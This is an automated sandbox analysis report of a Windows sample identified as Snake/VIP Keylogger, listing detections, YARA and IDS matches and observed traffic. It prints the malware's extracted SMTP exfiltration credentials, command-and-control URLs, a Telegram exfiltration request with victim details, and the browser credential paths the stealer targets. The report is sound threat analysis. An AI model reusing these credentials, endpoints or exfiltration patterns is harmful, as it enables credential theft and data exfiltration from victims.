Edit tour

Windows Analysis Report
Lpjrd6Wxad.exe

Overview

General Information

Sample name:	Lpjrd6Wxad.exe renamed because original name is a hash value
Original sample name:	51f52b4829b1930c3d4781e63ac08ccb74840c9b901b46b9f35274803e6d5571.exe
Analysis ID:	1551190
MD5:	2ba023727b7a6399471d26a38f26695a
SHA1:	69d719ca185d62a737a2503a45b1b04cd097e190
SHA256:	51f52b4829b1930c3d4781e63ac08ccb74840c9b901b46b9f35274803e6d5571
Tags:	exeuser-adrian__luca
Infos:

Detection

Snake Keylogger, VIP Keylogger

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Yara detected Snake Keylogger

Yara detected Telegram RAT

Yara detected VIP Keylogger

AI detected suspicious sample

Machine Learning detection for sample

Tries to detect the country of the analysis system (by using the IP)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Mail credentials (via file / registry access)

Uses the Telegram API (likely for C&C communication)

Yara detected Generic Downloader

Allocates memory with a write watch (potentially for evading sandboxes)

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains long sleeps (>= 3 min)

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found inlined nop instructions (likely shell or obfuscated code)

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May check the online IP address of the machine

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Sigma detected: Suspicious Outbound SMTP Connections

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses SMTP (mail sending)

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Uses insecure TLS / SSL version for HTTPS connection

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

Lpjrd6Wxad.exe (PID: 3648 cmdline: "C:\Users\user\Desktop\Lpjrd6Wxad.exe" MD5: 2BA023727B7A6399471D26A38F26695A)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
404 Keylogger, Snake Keylogger	Snake Keylogger (aka 404 Keylogger) is a subscription-based keylogger that has many capabilities. The infostealer can steal a victims sensitive information, log keyboard strokes, take screenshots and extract information from the system clipboard. It was initially released on a Russian hacking forum in August 2019. It is notable for its relatively unusual methods of data exfiltration, including via email, FTP, SMTP, Pastebin or the messaging app Telegram.	No Attribution	https://any.run/cybersecurity-blog/analyzing-snake-keylogger/ https://any.run/cybersecurity-blog/reverse-engineering-snake-keylogger/ https://blog.netlab.360.com/purecrypter https://blog.nviso.eu/2022/04/06/analyzing-a-multilayer-maldoc-a-beginners-guide/ https://blogs.blackberry.com/en/2022/05/dot-net-stubs-sowing-the-seeds-of-discord	https://malpedia.caad.fkie.fraunhofer.de/details/win.404keylogger

Malware Configuration

Threatname: VIP Keylogger

{"Exfil Mode": "SMTP", "Email ID": "sesilebruce@elemacuae.com", "Password": "(lqKKXb5", "Host": "us2.smtp.mailhostbox.com", "Port": "587", "Version": "4.4"}

Threatname: Snake Keylogger

{"Exfil Mode": "SMTP", "Username": "sesilebruce@elemacuae.com", "Password": "(lqKKXb5", "Host": "us2.smtp.mailhostbox.com", "Port": "587", "Version": "4.4"}

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
Lpjrd6Wxad.exe	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Lpjrd6Wxad.exe	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
Lpjrd6Wxad.exe	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
Lpjrd6Wxad.exe	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
Lpjrd6Wxad.exe	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x2d5cb:$a1: get_encryptedPassword 0x2d8d8:$a2: get_encryptedUsername 0x2d3e9:$a3: get_timePasswordChanged 0x2d4e4:$a4: get_passwordField 0x2d5e1:$a5: set_encryptedPassword 0x2ec72:$a7: get_logins 0x2ebd5:$a10: KeyLoggerEventArgs 0x2e83a:$a11: KeyLoggerEventArgsEventHandler
Lpjrd6Wxad.exe	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x3b360:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x3aa03:$a3: \Google\Chrome\User Data\Default\Login Data 0x3ac60:$a4: \Orbitum\User Data\Default\Login Data 0x3b63f:$a5: \Kometa\User Data\Default\Login Data
Lpjrd6Wxad.exe	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x2e1b5:$s1: UnHook 0x2e1bc:$s2: SetHook 0x2e1c4:$s3: CallNextHook 0x2e1d1:$s4: _hook
Click to see the 2 entries

Memory Dumps

Source	Rule	Description	Author	Strings
00000000.00000002.4035317693.0000000002E4E000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
00000000.00000000.1555252525.0000000000852000.00000002.00000001.01000000.00000003.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000000.1555252525.0000000000852000.00000002.00000001.01000000.00000003.sdmp	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
00000000.00000000.1555252525.0000000000852000.00000002.00000001.01000000.00000003.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
00000000.00000000.1555252525.0000000000852000.00000002.00000001.01000000.00000003.sdmp	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x2d3cb:$a1: get_encryptedPassword 0x2d6d8:$a2: get_encryptedUsername 0x2d1e9:$a3: get_timePasswordChanged 0x2d2e4:$a4: get_passwordField 0x2d3e1:$a5: set_encryptedPassword 0x2ea72:$a7: get_logins 0x2e9d5:$a10: KeyLoggerEventArgs 0x2e63a:$a11: KeyLoggerEventArgsEventHandler
00000000.00000002.4035317693.0000000002CD1000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
Process Memory Space: Lpjrd6Wxad.exe PID: 3648	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: Lpjrd6Wxad.exe PID: 3648	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
Process Memory Space: Lpjrd6Wxad.exe PID: 3648	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
Process Memory Space: Lpjrd6Wxad.exe PID: 3648	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x1a3b7c:$a1: get_encryptedPassword 0x1a3e7f:$a2: get_encryptedUsername 0x1a39a4:$a3: get_timePasswordChanged 0x1a3a9f:$a4: get_passwordField 0x1a3b92:$a5: set_encryptedPassword 0x1a6010:$a7: get_logins 0x1a5f73:$a10: KeyLoggerEventArgs 0x1a5bdc:$a11: KeyLoggerEventArgsEventHandler
Click to see the 5 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
0.0.Lpjrd6Wxad.exe.850000.0.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.0.Lpjrd6Wxad.exe.850000.0.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
0.0.Lpjrd6Wxad.exe.850000.0.unpack	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
0.0.Lpjrd6Wxad.exe.850000.0.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
0.0.Lpjrd6Wxad.exe.850000.0.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x2d5cb:$a1: get_encryptedPassword 0x2d8d8:$a2: get_encryptedUsername 0x2d3e9:$a3: get_timePasswordChanged 0x2d4e4:$a4: get_passwordField 0x2d5e1:$a5: set_encryptedPassword 0x2ec72:$a7: get_logins 0x2ebd5:$a10: KeyLoggerEventArgs 0x2e83a:$a11: KeyLoggerEventArgsEventHandler
0.0.Lpjrd6Wxad.exe.850000.0.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x3b360:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x3aa03:$a3: \Google\Chrome\User Data\Default\Login Data 0x3ac60:$a4: \Orbitum\User Data\Default\Login Data 0x3b63f:$a5: \Kometa\User Data\Default\Login Data
0.0.Lpjrd6Wxad.exe.850000.0.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x2e1b5:$s1: UnHook 0x2e1bc:$s2: SetHook 0x2e1c4:$s3: CallNextHook 0x2e1d1:$s4: _hook
Click to see the 2 entries

Sigma Signatures

System Summary

Sigma detected: Suspicious Outbound SMTP Connections

Source: Network Connection

Author: frack113: Data: DestinationIp: 208.91.198.143, DestinationIsIpv6: false, DestinationPort: 587, EventID: 3, Image: C:\Users\user\Desktop\Lpjrd6Wxad.exe, Initiated: true, ProcessId: 3648, Protocol: tcp, SourceIp: 192.168.2.8, SourceIsIpv6: false, SourcePort: 49728

Suricata Signatures

ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-07T15:19:43.784767+0100	2022930	1	A Network Trojan was detected	20.12.23.50	443	192.168.2.8	49714	TCP
2024-11-07T15:20:22.004076+0100	2022930	1	A Network Trojan was detected	20.109.210.53	443	192.168.2.8	49729	TCP

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-07T15:19:33.661061+0100	2803305	3	Unknown Traffic	192.168.2.8	49708	188.114.96.3	443	TCP
2024-11-07T15:19:43.626300+0100	2803305	3	Unknown Traffic	192.168.2.8	49717	188.114.96.3	443	TCP
2024-11-07T15:19:46.123464+0100	2803305	3	Unknown Traffic	192.168.2.8	49722	188.114.96.3	443	TCP

ETPRO MALWARE Common Downloader Header Pattern UH

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-07T15:19:30.556068+0100	2803274	2	Potentially Bad Traffic	192.168.2.8	49706	193.122.130.0	80	TCP
2024-11-07T15:19:32.931122+0100	2803274	2	Potentially Bad Traffic	192.168.2.8	49706	193.122.130.0	80	TCP
2024-11-07T15:19:35.790706+0100	2803274	2	Potentially Bad Traffic	192.168.2.8	49709	193.122.130.0	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: Lpjrd6Wxad.exe

Avira: detected

Found malware configuration

Source: 00000000.00000002.4035317693.0000000002CD1000.00000004.00000800.00020000.00000000.sdmp	Malware Configuration Extractor: Snake Keylogger {"Exfil Mode": "SMTP", "Username": "sesilebruce@elemacuae.com", "Password": "(lqKKXb5", "Host": "us2.smtp.mailhostbox.com", "Port": "587", "Version": "4.4"}
Source: 0.0.Lpjrd6Wxad.exe.850000.0.unpack	Malware Configuration Extractor: VIP Keylogger {"Exfil Mode": "SMTP", "Email ID": "sesilebruce@elemacuae.com", "Password": "(lqKKXb5", "Host": "us2.smtp.mailhostbox.com", "Port": "587", "Version": "4.4"}

Multi AV Scanner detection for submitted file

Source: Lpjrd6Wxad.exe

ReversingLabs: Detection: 68%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: Lpjrd6Wxad.exe

Joe Sandbox ML: detected

Location Tracking

Tries to detect the country of the analysis system (by using the IP)

Source: unknown

DNS query: name: reallyfreegeoip.org

Source: Lpjrd6Wxad.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown

HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.8:49707 version: TLS 1.0

Source: unknown

HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.8:49727 version: TLS 1.2

Source: Lpjrd6Wxad.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe	Code function: 4x nop then mov dword ptr [ebp-14h], 00000000h	0_2_0102F4D0
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe	Code function: 4x nop then mov dword ptr [ebp-14h], 00000000h	0_2_0102FB03
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe	Code function: 4x nop then mov dword ptr [ebp-14h], 00000000h	0_2_0102FCE3
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe	Code function: 4x nop then jmp 0582D829h	0_2_0582D580
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe	Code function: 4x nop then jmp 0582CF79h	0_2_0582CCD0
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe	Code function: 4x nop then jmp 0582C6C9h	0_2_0582C420
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe	Code function: 4x nop then jmp 0582F239h	0_2_0582EF90
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe	Code function: 4x nop then jmp 05822131h	0_2_05821E80
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe	Code function: 4x nop then jmp 0582E989h	0_2_0582E6E0
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe	Code function: 4x nop then jmp 058226F8h	0_2_05822626
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe	Code function: 4x nop then jmp 0582E0D9h	0_2_0582DE30
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe	Code function: 4x nop then jmp 0582DC81h	0_2_0582D9D8
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe	Code function: 4x nop then jmp 0582D3D1h	0_2_0582D128
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe	Code function: 4x nop then jmp 0582021Dh	0_2_05820040
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe	Code function: 4x nop then jmp 05820BA7h	0_2_05820040
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe	Code function: 4x nop then jmp 0582FAE9h	0_2_0582F840
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe	Code function: 4x nop then jmp 0582CB21h	0_2_0582C878
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe	Code function: 4x nop then jmp 0582F691h	0_2_0582F3E8
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe	Code function: 4x nop then jmp 0582EDE1h	0_2_0582EB38
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe	Code function: 4x nop then jmp 0582E531h	0_2_0582E288
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe	Code function: 4x nop then jmp 058226F8h	0_2_058222D6
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe	Code function: 4x nop then jmp 058226F8h	0_2_058222E0

Networking

Uses the Telegram API (likely for C&C communication)

Source: unknown

DNS query: name: api.telegram.org

Yara detected Generic Downloader

Source: Yara match	File source: Lpjrd6Wxad.exe, type: SAMPLE
Source: Yara match	File source: 0.0.Lpjrd6Wxad.exe.850000.0.unpack, type: UNPACKEDPE

Source: global traffic

TCP traffic: 192.168.2.8:49728 -> 208.91.198.143:587

Source: global traffic	HTTP traffic detected: GET /xml/173.254.250.79 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/173.254.250.79 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/173.254.250.79 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/173.254.250.79 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/173.254.250.79 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/173.254.250.79 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/173.254.250.79 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/173.254.250.79 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:210979%0D%0ADate%20and%20Time:%2008/11/2024%20/%2006:12:52%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20210979%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D HTTP/1.1Host: api.telegram.orgConnection: Keep-Alive

Source: Joe Sandbox View	IP Address: 208.91.198.143 208.91.198.143
Source: Joe Sandbox View	IP Address: 149.154.167.220 149.154.167.220
Source: Joe Sandbox View	IP Address: 188.114.96.3 188.114.96.3
Source: Joe Sandbox View	IP Address: 188.114.96.3 188.114.96.3

Source: Joe Sandbox View

ASN Name: PUBLIC-DOMAIN-REGISTRYUS PUBLIC-DOMAIN-REGISTRYUS

Source: Joe Sandbox View	JA3 fingerprint: 54328bd36c14bd82ddaa0c04b25ed9ad
Source: Joe Sandbox View	JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: unknown	DNS query: name: checkip.dyndns.org
Source: unknown	DNS query: name: reallyfreegeoip.org

Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.8:49709 -> 193.122.130.0:80
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.8:49706 -> 193.122.130.0:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.8:49722 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.8:49717 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2022930 - Severity 1 - ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow : 20.109.210.53:443 -> 192.168.2.8:49729
Source: Network traffic	Suricata IDS: 2022930 - Severity 1 - ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow : 20.12.23.50:443 -> 192.168.2.8:49714
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.8:49708 -> 188.114.96.3:443

Source: global traffic

TCP traffic: 192.168.2.8:49728 -> 208.91.198.143:587

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive

Source: unknown

HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.8:49707 version: TLS 1.0

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /xml/173.254.250.79 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/173.254.250.79 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/173.254.250.79 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/173.254.250.79 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/173.254.250.79 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/173.254.250.79 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/173.254.250.79 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/173.254.250.79 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:210979%0D%0ADate%20and%20Time:%2008/11/2024%20/%2006:12:52%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20210979%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D HTTP/1.1Host: api.telegram.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive

Source: global traffic	DNS traffic detected: DNS query: checkip.dyndns.org
Source: global traffic	DNS traffic detected: DNS query: reallyfreegeoip.org
Source: global traffic	DNS traffic detected: DNS query: api.telegram.org
Source: global traffic	DNS traffic detected: DNS query: us2.smtp.mailhostbox.com

Source: global traffic

HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Thu, 07 Nov 2024 14:19:52 GMTContent-Type: application/jsonContent-Length: 55Connection: closeStrict-Transport-Security: max-age=31536000; includeSubDomains; preloadAccess-Control-Allow-Origin: *Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection

Source: Lpjrd6Wxad.exe, 00000000.00000002.4035317693.0000000002E4E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://51.38.247.67:8081/_send_.php?L
Source: Lpjrd6Wxad.exe	String found in binary or memory: http://51.38.247.67:8081/_send_.php?LCapplication/x-www-form-urlencoded
Source: Lpjrd6Wxad.exe	String found in binary or memory: http://aborters.duckdns.org:8081
Source: Lpjrd6Wxad.exe	String found in binary or memory: http://anotherarmy.dns.army:8081
Source: Lpjrd6Wxad.exe, 00000000.00000002.4035317693.0000000002CD1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org
Source: Lpjrd6Wxad.exe, 00000000.00000002.4035317693.0000000002CD1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org/
Source: Lpjrd6Wxad.exe	String found in binary or memory: http://checkip.dyndns.org/q
Source: Lpjrd6Wxad.exe, 00000000.00000002.4035317693.0000000002CD1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: Lpjrd6Wxad.exe, 00000000.00000002.4035317693.0000000002E4E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://us2.smtp.mailhostbox.com
Source: Lpjrd6Wxad.exe	String found in binary or memory: http://varders.kozow.com:8081
Source: Lpjrd6Wxad.exe, 00000000.00000002.4036590678.0000000003CF1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: Lpjrd6Wxad.exe, 00000000.00000002.4035317693.0000000002DB7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org
Source: Lpjrd6Wxad.exe	String found in binary or memory: https://api.telegram.org/bot
Source: Lpjrd6Wxad.exe, 00000000.00000002.4035317693.0000000002DB7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot/sendMessage?chat_id=&text=
Source: Lpjrd6Wxad.exe, 00000000.00000002.4035317693.0000000002DB7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:210979%0D%0ADate%20a
Source: Lpjrd6Wxad.exe, 00000000.00000002.4036590678.0000000003CF1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: Lpjrd6Wxad.exe, 00000000.00000002.4036590678.0000000003CF1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: Lpjrd6Wxad.exe, 00000000.00000002.4036590678.0000000003CF1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: Lpjrd6Wxad.exe, 00000000.00000002.4035317693.0000000002E91000.00000004.00000800.00020000.00000000.sdmp, Lpjrd6Wxad.exe, 00000000.00000002.4035317693.0000000002E82000.00000004.00000800.00020000.00000000.sdmp, Lpjrd6Wxad.exe, 00000000.00000002.4035317693.0000000002EC2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstore?hl=en
Source: Lpjrd6Wxad.exe, 00000000.00000002.4035317693.0000000002E8C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstore?hl=enlB
Source: Lpjrd6Wxad.exe, 00000000.00000002.4036590678.0000000003CF1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: Lpjrd6Wxad.exe, 00000000.00000002.4036590678.0000000003CF1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: Lpjrd6Wxad.exe, 00000000.00000002.4036590678.0000000003CF1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
